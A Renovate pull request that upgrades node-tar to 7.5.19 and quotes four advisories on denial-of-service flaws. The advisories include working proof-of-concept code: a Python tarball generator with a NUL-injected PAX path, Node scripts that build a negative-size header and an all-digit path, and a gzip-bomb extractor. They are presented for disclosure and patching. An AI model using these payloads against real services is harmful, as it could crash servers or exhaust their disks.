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This PR contains the following updates:

Package Change Age Confidence
tar 7.5.167.5.19 age confidence

node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records

CVE-2026-59875 / GHSA-gvwx-54wh-qm9j

More information

Details

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.

This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.


Root cause
Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:

// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}

The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}

The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.

Downstream blast radius

entry.path and entry.linkpath are consumed in:

  • src/unpack.tsfs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
  • src/list.ts (no crash — listing tolerates NUL in strings)
  • Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.


Proof of Concept
Artifacts
  • poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
  • poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
  • poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)
Tarball generator (minimal repro — Python 3)
#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)
Reproduction
##### 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

##### 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

##### 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'
Observed output (verified 2026-06-23 against tar@7.5.16)
UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.


Impact
Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:

  • npm registry tarball ingestion and downstream mirrors
  • GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
  • Container image build pipelines that unpack layer tarballs through node tooling
  • Backup-restore services accepting user uploads
  • CI artifact processors and badge generators
  • Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
  • Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}

does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.

Secondary: parser-differential validator bypass (CWE-436)
Tool Result for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf) Lists visible.txt (truncated at NUL)
bsdtar -tvf Lists visible.txt (truncated at NUL)
Python tarfile.list() Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file}) Emits raw NUL-bearing path (no crash)
node-tar tar.x({file}) Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.


Suggested patch

Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:

--- a/src/pax.ts
+++ b/src/pax.ts
@&#8203;@&#8203; -173,7 +173,7 @&#8203;@&#8203; const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Negative tar entry size causes infinite loop in archive replace

CVE-2026-59874 / GHSA-8x88-c5mf-7j5w

More information

Details

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

node poc.mjs
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true
Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Decompression/parse DoS via unlimited input

CVE-2026-59873 / GHSA-23hp-3jrh-7fpw

More information

Details

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

  1. Create the exploit script:
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
  1. Run the PoC:
node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


node-tar: Process crash via PAX numeric path type confusion

CVE-2026-59871 / GHSA-w8wr-v893-vjvp

More information

Details

Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls .split('/') on the numeric value. Error handlers and strict: false cannot intercept the crash.

Details

In pax.ts line 180, parseKV converts PAX values matching /^[0-9]+$/ to numbers via +v. This applies to all fields including path and linkpath. When a PAX header sets path to an all-digit string like "12345", the value becomes the number 12345.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where normalizeWindowsPath(entry.path).split('/') throws a TypeError because numbers don't have .split().

The throw is synchronous during event emission and bypasses all error handling:

  • strict: false does not help
  • 'error' event handlers do not catch it
  • 'warn' handlers do not catch it
  • The TypeError propagates through the event emitter stack as an uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at this.path.slice(-1), but that throw is caught and emitted as a warning only.

PoC

Create a tar archive with a PAX extended header containing an all-digit path:

PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')

Extract it:

const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });

The archive is ~2.5KB. The crash is deterministic on every attempt.

Impact

Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/node-tar (tar)

v7.5.19

Compare Source

v7.5.18

Compare Source

v7.5.17

Compare Source


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@renovate renovate Bot added the renovate label Jul 21, 2026
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Review Change Stack

📝 Walkthrough

Walkthrough

The package configuration updates the tar dependency override from version 7.5.16 to 7.5.19.

Estimated code review effort: 1 (Trivial) | ~2 minutes

Possibly related PRs

🚥 Pre-merge checks | ✅ 6
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✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 0%. Comparing base (259e2b2) to head (88bbbcd).
✅ All tests successful. No failed tests found.

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===========================
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renovate Bot force-pushed the renovate/npm-tar-vulnerability branch from 9df55b0 to 88bbbcd Compare July 21, 2026 10:33
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